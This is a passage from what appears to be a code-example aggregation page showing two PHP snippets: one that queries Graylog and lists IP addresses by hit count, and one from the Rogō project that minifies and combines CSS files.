    fclose($pipes[2]);
Пример #29
0
    curl_setopt_array($curl, $opt);
    $output = curl_exec($curl);
    $http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
    curl_close($curl);
    return $output;
}
$gl_json = json_decode(getGraylogMessages($TIME_PERIOD), true);
$list = $gl_json['terms'];
arsort($list);
$output .= "\n";
foreach ($list as $ip => $hits) {
    if (valid_ipv4_host($ip)) {
        if ($hits > $MIN_HITS) {
            $output .= "{$hits} {$ip}\n";
        }
    }
    if (valid_ipv6_host($ip)) {
        $ip = compress($ip);
        if ($hits > $MIN_HITS) {
            $output .= "{$hits} {$ip}\n";
        }
    }
}
if (php_sapi_name() == "cli") {
    echo $output;
} else {
    echo "<pre>{$output}<pre>";
}
?>

Пример #30
0
// along with Rogō.  If not, see <http://www.gnu.org/licenses/>.
/**
*
* @author Adam Clarke
* @version 1.0
* @copyright Copyright (c) 2014 The University of Nottingham
* @package
*/
require '../../../../include/sysadmin_auth.inc';
echo "<h2>Building combined css files</h2>";
function compress($buffer)
{
    /* remove comments */
    $buffer = preg_replace('!/\\*[^*]*\\*+([^/][^*]*\\*+)*/!', '', $buffer);
    /* remove tabs, spaces, newlines, etc. */
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  ', '    ', '    '), '', $buffer);
    return $buffer;
}
/* your css files */
$output = "/*DO NOT MODIFY THIS FILE*/\n";
$files = array();
$files[] = 'edit.css';
$files[] = 'fonts.css';
$files[] = 'main.css';
$files[] = 'toolbar.css';
foreach ($files as $file) {
    echo "Compressing {$file}<br />";
    $output .= compress(file_get_contents('../css/' . $file));
}
file_put_contents("../css/combined.css", $output);
echo "Saved as css/combined.css<br>";